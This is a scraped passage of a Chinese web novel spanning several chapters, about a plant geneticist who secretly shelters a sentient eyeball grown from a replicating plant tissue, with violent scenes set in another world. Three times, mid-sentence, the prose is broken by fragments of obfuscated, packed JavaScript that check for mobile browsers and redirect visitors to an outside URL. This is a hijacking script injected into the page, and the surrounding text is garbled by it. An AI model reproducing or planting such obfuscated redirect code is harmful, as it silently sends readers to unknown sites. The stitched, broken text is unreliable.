0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111647|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐奂微微皱眉,重新戴好眼镜。 视线恢复的刹那,他瞳孔一震——那块昼夜花的组织跑出来了,它像癌细胞般不停繁殖,一根根触须向他伸了过来,就像那天在机舱中一样! “——!” 可唐奂站在原地没有动。 组织液打湿在身上,衬衫紧贴胸腹透出里面白瓷般的肤色,他只盯着那团“怪物”。 它在颤抖,没有袭击,小心翼翼地靠近过来。 是的,一周前在武装直升机上, 它曾经想接近自己。 唐奂眸底闪过一抹决然,大步走上前去,一把抓住了它! ——真正触摸到才发现,那不只是一团柔软的组织,什么东西在掌心窜动,唐奂心绪一滞,摊开掌心。 组织中,竟然钻出了一颗眼球! …… 处刑台上,缚生榕尽力绞杀猎物,陆池修缓缓放下了遮住右眼的手—— 下一秒,形势急转直下。 陆池修那一双琥珀色瞳孔的深处,不知何时点燃了一抹锋芒。 “……”最先察觉到不妙的是赫尔曼,他的手落向护栏,身体几乎探过去。 “维克将军,洛恩首领,出事了——” 贵宾席赫然站起两个高大的男人,防护罩砰的一声碎裂,两人一跃而下,落地的同时拉开一道结界,张开了一道严丝合缝的巨网! 陆池修手中影子般的藤蔓挪动。 缚生榕主根一震,根须像是感受到了恐惧似的,开始疯狂颤抖、扭曲起来,它在拼命从陆池修的身体上退开,但已经来不及了。 陆池修抬眸,唇角露出冷淡的笑意。 接着他五指收起,掌心的光芒化作无形的藤丝。 嘶啦——!第一根根须枯萎断裂,紧接着是第二根、第三根,整株缚生榕像是被烈焰从内部灼烧,从末端一直到根部。 缚生榕剧烈扭曲,哀鸣声仿佛从地底传来,又瞬间远去—— 刹那间,整个处刑场一片空寂。 等众人反应过来,阴霾散去,偌大的缚生榕已经整个消失了! “要死了!快走!”子爵拉住贵妇,两人撒腿就跑。 现场惊叫不断,侍卫乱作一团。 “救、救我!!” 大法官在地上到处乱爬,哆哆嗦嗦。 身后一根藤蔓追来,大法官回过头,脖子已让藤蔓缠住,整个人硬生生被扯到了半空。大法官吓得两眼猩红,只见陆池修戏谑一笑,把他往面前一拽:“有遗言吗?” “饶命、饶命——” 赫迪安喝道:“把人放了!” “好啊。” 陆池修一松手。 “啊啊啊——” 啪!大法官整个人摔在地上,内脏破裂,口鼻鲜血迸出,当场猝亡! “陆池修!” 赫尔曼目光凛然,厉声道:“你已经认罪,为什么还要反抗!” “因为直到刚才我都想死,” 刑架碎裂,陆池修轻身落在了审判桌上。他眼眸中透出危险至极的光芒,唇角一扬,吐出几个让人心胆俱裂的字: “——现在不想了。” 4. 第 4 章 …… 唐奂踏入会议室的那一刻,里面炸开了锅。 研究员们在早会前小声说着话。 “昨晚实验室里出事了知道吗?培养舱炸了。”“啊?谁的啊?” “小唐吧。” “第七生态圈的植物组织?东西带出来了?” “早带回来了。” “……怎么放在研究室里啊?” “好像是所长同意的。” “啊……” 唐奂仿佛没听到,神色淡淡,径直穿过人群,走向自己的位置。 座位前,唐奂放下电脑,刚抽开椅子。 “辛苦了,唐奂。” 所长一脸和蔼地迎了上来。 “你在第七生态圈的出色表现,现在整个辖区总控厅都听说了。这是咱们研究所的荣誉。”所长说着,很自然地拍了拍他的肩,“等你的报告写出来我要第一时间拜读,你放心,所里一定会给予重视。” 唐奂停下脚步,看了所长一眼。 所长在研究圈子的地位不低,但性格圆滑,和权力场圈子交情不浅。 起初,唐奂提出植物异常的猜测时,所长第一个不看好,还在开会时暗示他,不要为了迎合公众的猎奇心理哗众取宠。 可现在,一切盖棺定论,所长立刻换了一副嘴脸。 唐奂只微微颔首,淡然答了句:“谢谢。” 所长嘴角抽搐,脸上走过难以掩饰的尴尬。 不过下一刻,所长又露出笑容,意味深长地看了他一眼:对了,新来的研究员你还没见吧,迎新会也不来,我怎么听说,你们可是老熟人了。” 闻言,唐奂的眼神冷了几分。 所长刻意往旁边让了一步,一个穿着白色实验服的男人起身走来。 男人看起来和唐奂同岁,戴着昂贵的金框眼镜,五官温润,但眼底却透着精明,轻微抬起的唇角有一股谁也不放在眼里的傲慢。 “唐奂,好久不见。”男人温和地笑着,手伸了过来。 唐奂的目光只落在男人身上,没有去握他的手。 贺淮。 他这辈子不想再见到的人。 会议室人多眼杂,气氛微妙地安静了一瞬。 贺淮看起来和博士毕业前没什么变化,一举一动仍然是体贴有礼的样子,仿佛那件事从未发生。 可唐奂脸色很难看,连装都不想装。 他们曾是恋人。 也是同一批博士生。 学生时代他们在同一个研究室,专攻的方向也相似,甚至在确定关系的那一年里,他们还差点一起出过论文。 等查读的期间,两人分手,唐奂撤掉了自己的名字。 分手,是因为贺淮结婚了。 是和一名从未提起过的女性。 当时这件事震惊了整个研究室,唐奂最后一个知道。 “唐奂,这次回来,我想成为你最好的搭档。”贺淮语气轻柔,似乎真的只是一个旧识般地寒暄着,“从前我们很合拍,希望这次也能合作愉快。” “你想多了。”唐奂冷淡道,“林今很好,多一个人我嫌吵。” 林今脸一红。 他还是第一次被唐奂表扬。 “这样就好啊。不枉费我特意请了贺博士来,没想到你们还认识,这可真是太巧了!”所长啪啪鼓掌,拍了两下贺淮的肩膀,笑道:“以后,可要好好相处啊。” 期间贺淮用余光看唐奂,“我会的。” …… 那天上午有个科研费申请经验会议。 大教室里。 声音铿锵有力的老教授拿着麦克风,已经讲了一半。 唐奂一进去,贺淮尾随而至,十分自然地坐在了他身后的那个位置,盯着他的目光快要在他背上烧出一个坑来。 “还记得我们是怎么认识的吗。” 贺淮的笔敲他的椅子,“此时此刻,和当时很像不是吗?” ——承大硕二那年。 分子生物学基础课的大教室坐满了人。 法医学专业的唐奂来学DNA鉴定,植物学专业的贺淮来学基因表达。 唐奂到得早,贺淮姗姗来迟,和同学聊着天进来,把背包放在了他身后的位置,顺手脱下外套。 “哪本啊贺淮?叫啥?”同学问。 “丹尼尔丹尼特的《达尔文的危险思想》?” “啥?” “哎,就是这本!”贺淮一眼看到了唐奂桌上的书,“太巧了,就是它!” 那天唐奂回过头,贺淮耳朵上夹着一支笔,正指着他桌上的书。然后,贺淮又看到他,愣了一下。 一年后,唐奂获得医学硕士学位,贺淮获得理学硕士学位。毕业后唐奂工作了半年,决定跨专业读博,去了植物基因学研究室。 两人的关系,就是从那时候开始有进展的。 …… 哒哒,老教授的激光笔敲着大屏幕: “做植物基因学项目,光有实验能力是不够的,申请书里最关键的是‘问题导向’和‘应用价值’。” 台下的年轻研究员认真做笔记,台上老教授说,“你要说清楚你要解决什么具体问题,最好是跟农业、生态修复或者新品种育种挂钩。还有,技术路线要写得实在,不要太炫技,评审专家看重可操作性。” “我得承认,”贺淮说,“和你的相遇是我人生中最重要的回忆之一。” 唐奂镜片反光,面前的开着一个word文档。 “你呢,你怎么想——”贺淮忍不住探身向前,却见唐奂的屏幕上写着字号奇大的四个字: 赛博案底。 …… 一个小时后。 经验传授会结束了。 唐奂合上一个字都没写的电脑,快步离开讲堂。 等唐奂回到实验室,没过多久,敲门声传来。 咚咚。 “进来。”以为隔壁的项目组长来交接资料了,唐奂头也没抬,“门没锁。” 门被推开。 没有一如既往热情的打招呼声。 “唐奂,我刚看了你从第七生态圈带回来的东西。” 贺淮大方走了进来,顺手带上门,没有丝毫进入了私人研究室的拘谨,更没有一个小时前被拒绝的尴尬,“那个试管液,你是怎么弄到的?” 唐奂淡漠地抬眼,没说话。 但贺淮的表情不对劲。 急切的神色,透着一丝不加掩饰的焦躁。 “……” “唐奂。”贺淮向前一步,两手按在他面前的实验台上,“你也看到报告了吧,那个试管液的成分,蓝星根本没有,对吧?” 贺淮的目光锁住他的脸,像要看透什么,“告诉我,你从哪儿弄来的?” “第七生态圈。”唐奂说。 “别和我绕弯子,我当然知道是第七生态圈!”贺淮说,“具体是哪里?” “你这是怎么了。”唐奂移动鼠标,给组织的照片调整角度,头也不抬,“研究所的人都在盯着昼夜花,怎么就你,好像对那个试管液更感兴趣?” “你……” 贺淮嘴唇抿紧,片刻后,忽然轻笑了一声:“你还是和以前一样。” 唐奂的神色没有变化。 但下一秒,贺淮绕过实验桌走近过来,在他面前站定,像是下了很大的决心似的,很正式地说:“我离婚了。” 实验室一瞬间安静。 唐奂:“哦。” 料到了唐奂会是这种反应,贺淮的掌心收紧,强撑笑意:“我也想告诉你,我一直很想你,唐奂,我们不要再冷战了,在那之后你也没再找男朋友,不是吗——” 培养舱里的昼夜花组织动了动,丝状的组织扒在玻璃壁,它似乎在听,来回游走间,水纹映照出唐奂瘦削的身形。 “那也不是因为你,是因为我想单着。”唐奂终于抬起头,声音比刚才更冷,“你说完了吗。再不出去,我说话可就不好听了。” “唐奂,我离婚是因为你!” 说到激动处门口人影窜动,贺淮喝道:“谁在那里!” 咔嗒!门把手转动,拿着试管的林今一脸尴尬走了进来,两只手抬在半空动也不敢动:“呃,我什么都没听见,我什么都不知道。” 说完给唐奂投去个眼神:我草了怪不得唐哥你不去迎新会啊!这么大的瓜!! 贺淮冷冷看着林今,笑容彻底凝固了。 林今骇得哆嗦。 可三个人在,很多话终究说不成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111648|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,贺淮看了唐奂一眼,后退两步,“好,反正现在也是同事了,天长日久,我相信你还会再回到我身边的。” 说完,贺淮转身离开,咣当一声带上了门。 直到走廊外的脚步声消失,林今才啧啧几声:“唐哥,亏你能和这样极端的人谈过啊……” “出去别乱说话。” 唐奂只交待了一句,手不自觉捏着山根:“……头疼。” “嗐——”林今在水池洗手,扭头说,“好的前任就应该像死了一样安静!都分手了还这样,能不让人头疼吗!” 唐奂:“不是因为他。” 林今:“嗯??” 是因为那块组织。 准确的说,是因为组织里长出来的眼球。 那颗手掌般大小的眼球昙花一现,早上消失得干干净净,要不是昨晚场景太鲜明,唐奂还以为是累出幻觉了。 “话说,这昼夜花真是卷王,培养舱都换了几个了,这已经快到最大型号了。”想起这几天的经历,林今烦得抓头发。 没有方法能有效终止它的自我复制。 林今吐槽时,发现唐奂一直在盯着自己,“怎么了?” 唐奂抬手一指。 林今回头:“——卧槽!” …… 当晚唐奂没回家。 23点,实验室内冷白色的灯还亮着。 设备运行的嗡鸣声在回荡,最后一批奋战的研究员们光荣下班,唐奂坐在操作台前,盯着培养舱里蠕动的昼夜花。 贺淮白天来过后,它的繁殖速度暴涨。 或许是贺淮闯入让它受到了刺激,唐奂看向培养舱。 再这样下去,会有大麻烦。 它已经能像水母般游动,细丝拨动水流飘一会儿停一会儿,在淡绿色的营养液中更加通透神秘。 “……”唐奂直起腰,脱下实验服挂好。 他白大褂里面穿了件黑色的高领毛衣,紧贴颈线,柔软的衣料在腰间收窄,随着他伸展手臂的动作松泛了些。 想到今晚也可能一无所获,唐奂摘下眼镜,解开了袖口的扣子。 十分钟后,唐奂端起咖啡杯,走了没几步回来拿钥匙卡,等他再要出门,一股莫名的凉意爬上了脊背。 等等,好像有什么东西…… 脚步不自觉就停了,唐奂站定片刻,一转身。 ——眼球正注视着他。 “……!” 唐奂呼吸一滞,身体更快做出了反应,他的小腿肌肉一紧,人跟着后退了几步。 咣当。 后腰撞到了实验室的铁橱。 眼球悬浮在昼夜花的组织中央,灵活转动着,琥珀色的瞳孔反射出细碎的光晕,精致得像打磨了上百遍的艺术品。 唐奂发现它在打量自己。 自上而下,还带着他描述不出的情绪。 灯光投下诡异的反光,眼球深邃几分,向他游动过来,不出意外被玻璃罩弹了回去。 但它停顿一瞬,像是要给自己找回面子,顽皮地转了转。 唐奂:“……” 一颗眼球会游泳,更诡异的是,它好像还有感知功能。 唐奂怀疑这玩意能听懂人话——但不管是什么,下一秒,他顺手从实验台拿起一把解剖刀,大步往培养舱走去。 好不容易把它盼到了,先挖出来再说。 “……” 见状,眼球缩了一下,嗖地钻回组织,又消失得干干净净了。 实验室恢复死寂,像什么都没发生过。 唐奂看着空荡荡的培养舱,指腹摩挲刀柄,反光的镜片反射出培养舱的那一隅。 不见了。 于是唐奂装作不在意地收起凶器,转身继续去泡他的咖啡。 走到门口,唐奂停下脚步:“出来吧,我不挖你了。” 培养舱没有动静。 这次,唐奂迈出一步的瞬间,又一次回过头。 那颗眼球又悄咪咪地出来了。 这次它脱离组织,悬浮在培养液里,它没有再躲,像是在确认什么一样,凝视着唐奂。 唐奂目光微微一沉。 这一刻,背后凉飕飕的感觉彻底压不住了。 ——它真能听懂人话。 5. 第 5 章 …… 眼球有成年人的巴掌大小,游动起来却十分灵活。 见唐奂怔怔看自己,它又偏了点角度。光滑的球体上,琥珀色的瞳孔泛着微光。 等到唐奂和它对视,它颜色暗了些,透过重重水泡移动过来,凝视着他。 咕嘟嘟…… 正在这时,小串水泡冒起。 唐奂眼神一变。 水底的组织动了,上升的气泡越发浓密。 昼夜花又要繁殖了,爬满舱底的绿色丝状物如同癌细胞,不过一分钟就增殖了一倍。 “还以为这次的培养舱能撑几天。”唐奂喃喃,“还是太乐观了么。” 眼球:“?” 它还不知道唐奂怎么了,游动过来,瞳孔贴在玻璃上,看到唐奂拿起座机的话筒。 唐奂拨打号码到中途,也看向它: “我要处理点事,这家伙太能找麻烦了。” 解释到一半,唐奂脑海里冒过一个念头,鬼使神差地停下动作。 “你有办法吗?” 唐奂问。 眼球向下转动,高精度玻璃的光晕下,绵密成丝的组织已经向它包裹过来。 “你是这个组织的‘产物’吧?”唐奂正色,咬字清晰:“请你让它消停一会儿。再这样下去,它会给我们添很大的麻烦。” 听到后半段的“麻烦”两个字,眼球忽然动了。 它垂下眼,瞳孔变成了竖瞳。 滋滋滋…… 倏地,组织的根部抽搐,开始萎缩了。 不过半分钟,这块到了研究所就从未停止增生的组织经历了僵直,发抖,缩小,一炮回到了解放前。 最后它变成一团小小的盘丝,瑟缩在舱底。 这超自然的诡异一幕让唐奂怔在原地,眼角不自觉用力。 “……喂?喂?唐博士?” 手中的听筒传来值班室保安的声音,“是您打的电话?需要我过去一趟吗?” 唐奂下意识按住听筒,冷静几许才放开:“抱歉,不必了。” 保安:“啊?” “已经、”唐奂注视着眼球,“……没事了。” —— 第二天清晨。 例行早会9点开始,8点半时人还没到一半。 “我听说,昼夜花的组织停止了繁殖。” 不等人到齐,所长已经忍不住发问,笔在桌上紧张地敲着:“这是怎么回事?” 唐奂昨晚失眠,手里拿着资料,台上所长的脸在感官里模糊一片,仿佛打了马赛克,声音也像闷在鼓里。 “唐奂?” 一只手覆上他的后背。 唐奂一个激灵挣开,看到那只手的主人后脸色一冷。 贺淮毫不在意,指了指垮着一张老脸的所长。 所长瞪了他一眼,转向林今:“你说。” 林今:“啊?” 这可真是问对人了。 林今抓了把乱糟糟的头发,他今天打卡迟到,马不停蹄赶来早会。 要不是所长,他还不知道昼夜花又出事了。 研究员不乏夜猫子,也有人会早来点在桌子上眯一会儿,可此刻,早到的研究员们睡意全无,一个个竖着耳朵。 “为什么?原因知道吗?” 尤其是被昼夜花折磨了一个星期的项目组长,对真相的渴望呼之欲出。 “呃……”林今向唐奂投去求助的眼神,唐奂罕见地毫无反应。 “唐哥?” 所有人的目光都看向唐奂。 不过这一来二去,唐奂已经清醒多了,他清了清嗓子,平静说:“其实我也很意外。可能是昼夜花组织的繁殖能力有上限,只是前些日子还没到,才让我们误认为它会永远繁殖下去——当然这只是我的猜测,具体情况还要进一步的基因检测。” 一套说辞滴水不漏,唐奂掩饰了眼球的存在。 然而就在这时,旁边贺淮掏出手机看了眼:“我接个电话。” 所长点头。 唐奂看回资料,贺淮从他身后走过,快步向门外走。 贺淮的那份资料还在桌上,唐奂看了眼,忽然想起自己讲话时贺淮满脸不耐烦,资料的边缘,还有几个手指捏出的鲜明印子。 一个念头占据了唐奂的大脑。 他的解释, 贺淮根本就没在听。 早会的时间快到了,陆续有人进来。 “唐奂啊。” 讲台上,所长一双浑浊的眼在偌大的会议室扫了圈:“你准备准备,一会儿也向刚才不在人解释一下。另外,这几天昼夜花组织的情况,你也一起——唐奂?你去哪儿?!” 林今:“唐哥?” “唐奂——!!” 众人因为所长的怒声看向唐奂,唐奂暗道一声“不好”,连随身的外套都没拿,拔腿向外跑去。 “站住!谁允许你走的!” 在所长忍无可忍的怒喝中,唐奂的脚步声远去了。 —— 此刻,唐奂的实验室门大敞。 “该死,到底在哪里。” 贺淮喘着粗气,掐腰站在培养舱面前。 所有的地方翻遍了,连空置的实验器具都没放过,唐奂的研究室太干净了,连点灰都没有,照理说藏了什么一眼看到底。 于是贺淮回到了培养舱前,“……不对,还是这里有问题。” 这完全是直觉。 一块绿色组织瑟缩在舱底,贺淮看猎物似的盯着它,可随着时间的推移,什么也没有发生,他皱起眉头。 “看你能躲到什么时候。” 贺淮戴上无菌手套,一把打开培养舱的盖子—— “你在干什么!” 唐奂跑得喘不上气,在门口厉声喝道。 贺淮伸进营养液的手拿了出来,私闯无人的研究室说什么都是理亏的,但贺淮也只慌乱了几秒,就恢复了冷静。 “你来的正好。”贺淮跳下扶梯,“你给我句实话,昨天晚上到底发生什么事了?” 唐奂:“我已经说过了。” “别再装了!”贺淮摘掉手套,啪的一声撂在金属实验台,回手指着玻璃壁后面的组织,“潼港没有能让它停止繁殖的技术,除非、有什么东西强行干扰了它!你看它缩着不敢动的样子,这就说明——有个比它强大、和它同源、但对它有血脉压制的东西就在附近!” “而你,”贺淮瞳孔缩了缩,用力说:“你在这件事上撒了谎!你在对我们所有人撒谎!你为什么要这么做?” 咕噜,咕噜。 没人注意的地方,那团小小的组织冒了几个泡。 见唐奂没有任何反应,贺淮两只手拉着他的领子,“它在哪儿?你是怎么找到的!” “在这之前,我倒是想问你。” 唐奂冷脸相对,感觉到贺淮一僵,他挣开贺淮的手:“你是怎么知道、什么能让它停止繁殖的?” 贺淮眼神躲避了一下,又想拉他的手,“我都是为了你好。” “回答我。”唐奂没有让他碰到。 贺淮加重语气:“唐奂,你连我都不信吗?你觉得我会骗你吗?” “你觉得呢。” 唐奂轻描淡写问他。 出轨,分手,结婚…… “那些都过去了——” 贺淮说着,空气忽然静止了。 唐奂的眼神已经从他脸上挪走,往他身后看去。 而唐奂瞳孔里,映照出了不寻常的东西。 贺淮一回头,那团小小的组织不知何时已膨胀到了数倍,撑开盖子喷了出来。 “这……”贺淮保持那个姿势没动。 有什么无形的东西在注视他,让人浑身起鸡皮疙瘩。贺淮始终没有看到它,只有疯狂繁殖的植物组织像地狱里的触手般向他涌来。 说时迟那时快,唐奂撒腿向外跑,贺淮晚了一秒但紧跟其后,可一切都太迟了。 排山倒海的组织汹涌咆哮而来,转眼就吞没了他们。 …… “发生了什么事啊?!”“这、这——?”“快来人,昼夜花出事了!” 一阵慌乱的脚步声后,所长和林今等人匆忙赶到,昼夜花的组织已经从唐奂的研究室冲出来堆满了整个楼道,而它,还在向外膨胀。 “天呐——!” 所长一声惊叫,“我要怎么向辖区长交待?!” “唐哥你怎么样!” 林今扶起坐在地上的唐奂。 “贺淮!” 旁边的研究员也七手八脚去拽贺淮,可人根本拽不出来。 剩下的人一拥而上,项目组长一撸袖子,戴上手套就直接开始抓了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111649|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快,保安拿着电棍上楼,一看那场面直接傻眼了。 “打,打它!”贺淮浑身缠满了黏滑的丝状物,他险些窒息,红着眼喊:“这种时候不要管它的死活了!再这样下去我们都得死!” 所长犹豫:“可是……” 样本来之不易,好不容易保存到现在。 贺淮:“妈的,你以为我在吓唬你?它刚才想杀了我!” “可是……”林今的声音很小,被手忙脚乱的保安盖了过去,他看着毫发无伤……最多只是弄湿了衣服的唐奂。 那个组织会杀人? 林今疑惑。 “我没事。”唐奂轻轻推林今,递去一个意味深长的眼神,“别多话,你先去帮忙。” …… 现场收拾了两个小时。 保安还动用切割机把爆发的组织切割成数十块,才勉强控制了它。所长火急火燎,还在紧急向辖区上报。 唐奂的研究室一片狼藉,清洁人员把玻璃碎片扫成一堆。 培养舱倒在地上,供电的线扯断了,罩子从中间破了个洞,里面空无一物。 唐奂遣散清洁工,关上门。 正午刺眼的光芒照向他苍白的侧脸,等到周围安静下来,他说:“出来吧。” 角落的铁橱后面发出窸窸窣窣的异响,眼球拖着满是灰尘的身体,一点点向唐奂挪动过来。 唐奂疲惫一笑:“……你倒是挺会藏。” 那颗眼球看了他一会儿,忽然一个跃身,跳进了他怀里。 —— 唐奂不太记得是怎么回到家的。 整个研究所的注意力都扑在清晨的意外上,他请假也很顺利。一回到家,他匆忙洗了个澡就倒进了客厅的沙发。 微波炉发出叮的一声,蛋炒饭热好时,他已经沉沉睡过去了。 醒来是那天的半夜。 唐奂一翻身,冰凉凉的东西贴在脸上,“?” 白天太累了,睡着的时候也没关灯。但他睡得很沉,醒来才发现,是眼球一直贴在他的脸上挡住了光。 它足有一个手掌那么大,光溜溜的。 四五个小时干瞪眼,此刻,它瞳孔发直,浑身长满了红血丝。 唐奂伸手摸了它一把。 干的。 看来这颗眼球更适合养在营养液里,否则可能会得干眼症。 唐奂解决掉晚饭,把它放在书桌上。 “你到底是什么东西。” “。” “你和昼夜花,到底是什么关系。” “。” 眼球当然不可能回答,它没有嘴,只是望着自己。 唐奂的钢笔在修长的指间转了几圈,过了片刻,眼球开始跟着他的动作转圈。 他转笔,它就转动自己。 他停下,它也停下。 琥珀色的瞳孔动了动,示意他继续。 唐奂揉着太阳穴看它,“噗。” 连日紧绷的神经突然在那一刻放松,他笑出了声。 “行了,别闹了。”唐奂缓了缓,按住它的眼白说,“我们要定一个交流用的规则。放心,你只需要学会表达‘是’和‘否’。” 眼球的瞳孔缩了缩,静静听着。 “如果我问你问题,你想回答‘是’,就是轻微晃动一下。”唐奂看它,“明白吗?” 眼球上下晃动了一下。 “如果你想回答‘不是’,就转一转。” 眼球很配合,陀螺似的原地旋转了起来。 “……转一圈就行。”唐奂说。 眼球:“……” —— 同一时间,生洲。 禁闭室,陆池修缓缓放开捂住右眼的手。 眼前是一个囚牢,唯一的光线来自墙壁上的铁栏窗,外面一片荒芜,他似乎被关到野外的丛林中了。 陆池修想起了一些事。 数日前,体内的植株全部苏醒,异能爆发后,他陷入了短暂的昏迷。 后面的事,陆池修记不太清了。 这时,走廊外忽然传来了脚步声,似乎不是一个人来的,皮靴踏在混凝土地板上,一股无形的压迫感传来。 “您来了!” “嗯。” 门外的看守战战兢兢行了礼,打开铁门:“您请,赫迪安阁下。” 6. 第 6 章 …… 吱嘎—— 潮湿的空气混合草木味扑面而来,陆池修掀起眼皮。 “沈先生,请吧。” 赫迪安不是一个人来的。他背着手走在前面,绣着金丝藤蔓的肩章反光,对身后那人嘴上客气,脸上又难掩傲气,连头也没回过一次。 守卫噤若寒蝉,谁也不敢触活祖宗的霉头。 赫迪安在净化会的地位很微妙。 作为执行官赫尔曼唯一的后代,父子不睦的传言在生洲从没停过。有人说是因为赫迪安天资不足,有人说血统遭到了质疑。不过,净化会日渐强盛,哪怕是上级的联合会,也不乏有人奉承起这位太子爷。 陆池修身形没动,视线越过赫迪安看后面那人。 “沈先生”是个约莫三十多的年轻男人,低调的黑袍裹着瘦长的身体。第一眼看是个手无缚鸡之力的知识分子,再看就不难发现,眉眼间有股藏不住的锋芒。而且,这一看就是个聪明人。 生洲的旧贵族在净化会还有话语权,那些老腐朽思想僵化,对蓝星人一贯不善。所以,能留在净化会的蓝星人必不是等闲之物。 这个沈先生,就是其中之一。 “哦,我刚想起来。”啪!赫迪安拍了个巴掌,回过身,对男人轻蔑一笑,“我都忘了,您正式加入净化会后,就已经不姓沈了……唉,我总是忘记该叫您修恩先生了。” “执行官大人给的名字,我会一直记得。”修恩说。 “也是。”赫迪安也不客气,耸耸肩,“没有我父亲,你还是低等的裸生种呢。” 修恩:“是。” “我也提醒你一句,蓝星人。”赫迪安的声调提高,“不管你用了什么手段爬到这个位置,净化会不养闲人,别以为我父亲真能被你笼络。” 说到这句时,修恩明显停顿了一下,但很快又两手放在身前,恭敬说:“不敢。” 赫迪安显然没说够,尤其是注意到了修恩的态度,更是一股邪火乱跑。 不过禁闭室温度很低,窗外茂密的植被散发湿气,砖瓦在渗水,赫迪安没一会儿就有点待不住了。 “真是,我差点把你忘了,陆池修。” 赫迪安看了陆池修一眼,爆发出嗤笑,他终于想起了今天的来意,眼珠一转冲修恩:“东西带来了吗?” “在这里。” 修恩从衣袍中拿出一管试剂,正要递过去,赫迪安却一抬手,往陆池修那里指了指,“你去给他试试。” 修恩:“我?” 换了一般人断然不敢过去。 生洲无数高级异能者横死在陆池修手中,就如前几日,似缚生榕那样灰飞烟灭的也不在少数。接近陆池修,就好比把手伸进老虎嘴里。 “对,就是你。”赫迪安噙着恶劣的笑。 然而,出乎赫迪安的预料,修恩表情没有半点变化,来到陆池修身旁,一撩衣袍蹲下来。 禁闭室的墙缝中渗出水滴,啪嗒一声,落在了水洼。 那是一个赫迪安看不到的角度。 修恩面容淡定,声音冷静低沉:“陆池修,我劝你别白费工夫了。这些日子你在想什么,做什么,我都一清二楚。” 闻言,陆池修的脸上露出一丝不易察觉的异样,瞳孔微微收缩,重新审视起眼前的人。 修恩瞥了眼远处的赫迪安,脸上的光影偏移,露出了眼睑下方的一道疤痕。 很长的刀痕,延伸到了耳廓。 陆池修眯眼。 那是净化会审讯犯人的刑罚,用尖利的小刀,从鼻梁开始割,一直割到耳后。要是再沿着脸侧转一圈,半张脸皮就会掉下来。 这种酷刑,一般人是熬不住的。 陆池修还是头一次看到伤疤这么长还能活着离开审讯室的。 赫迪安:“磨蹭什么呢!” 哧—— 试管中的液体倒在陆池修的手背上,一股冷白色的气体从皮肤升起,陆池修蹙眉,肌肉撕裂,关节也发出了声响。 赫迪安跑过来一看,腐蚀的地方已经裸露出森森白骨。 “这……” 比缚生榕还可怕的腐蚀能力。 到了这一步,赫迪安终于忍不住叫道:“你这到底是什么东西?” “高浓度活性酚酸复合液。”修恩平淡说,“阿魏酸、没食子酸、鞣酸,结合强渗透性的改性二甲基亚砜……” 赫迪安:“妈的,说人话!” “它能破坏共生植物与宿主皮肤之间的细胞连接层,引发组织溶解和排异反应。” “?” 修恩没辙了,指着陆池修的手,“就像这样。” “蓝星的植物学家。” 赫迪安面上愤怒,心里又对修恩的能力忍不住犯嘀咕。 “你知道了什么?” 腐蚀的速度就像点燃的引线,陆池修喉咙处,骨骼连接着少量的血肉,声音嘶哑:“植、物、学、家。” “植物学研究员而已。”修恩谦逊纠正,“而且是,潼港植物研究所的。” 最后几个字,说得十分清晰。 那显然是在暗示些什么。 与此同时,几个闪回片段窜入陆池修的脑海,身体在急速溶解,疼痛感大面积蔓延,可他毫不在乎,唯恐错过什么。 “那天……”陆池修眼部的肌肉微微用力。 被处决的那天,一个蓝星的研究室中,资料被昼夜花爆发的组织吹散,扉页写着那个他熟悉的名字,唐奂。 后面还有一串,写着,植物基因学专攻,Ph.D.。 还有什么,还有什么来着…… 陆池修搜索记忆。 潼港…… 潼港植物研究所? 赫迪安见陆池修一动不动,不悦地问修恩,“他没有痛觉吗?” “当然有。”修恩冷淡说,“他的五感远超普通人。” 赫迪安:“那他怎么——” “——别吵。” 陆池修说。 两个字引得赫迪安暴怒,再看到那张令人嫉妒的脸,赫迪安把修恩往旁边一扯,直接夺过了试管。 里面的液体,还剩了足足三分之二。 守卫都看到了这一幕,谁也不敢上前,他们也是低等级共生者,只看到那个试管,体内的植株已在哆嗦了。 “你要干什么!”修恩震惊。 “滚!”赫迪安推开修恩,眼中怒火翻涌,“你没看到吗?他瞧不起我!他在嘲笑我是资质不佳的虫子!陆池修,你以为自己很了不起吗?你下地狱——” “我说别吵你听不懂吗?”陆池修视线一扫。 啪! 试管在赫迪安手中炸裂。 赫迪安原本是举着它的姿势,这一炸,剩下的液体从头浇了下来。 一阵阵灼热的白气在赫迪安身上冒烟,转眼血肉淋漓,血肉落在地上腐蚀了地板,钻出来的嫩芽瞬间化作了一滩绿色的水。 “啊啊——啊啊啊——” 禁闭室里回响着赫迪安的惨叫声,修恩嫌弃地抬起袖子挡住眼。 “修、修恩先生,怎么办?”一个守卫壮着胆子问,其他人焦急,却也不敢接近。 “等着。”修恩说。 赫迪安显然比陆池修更“易腐”,此刻陆池修还坐着,赫迪安已滚倒在地。 等赫迪安痛得快昏过去了,修恩才拿出几副特殊材料的手套给守卫,守卫二话不说戴上,把浑身冒烟的赫迪安搀了起来。 “喂。”临走前,修恩看向陆池修,意味深长:“你也看到了,我今天拿来的东西很‘管用’。接下来,我会每天让守卫用它来招待你,算是给你的教训。” 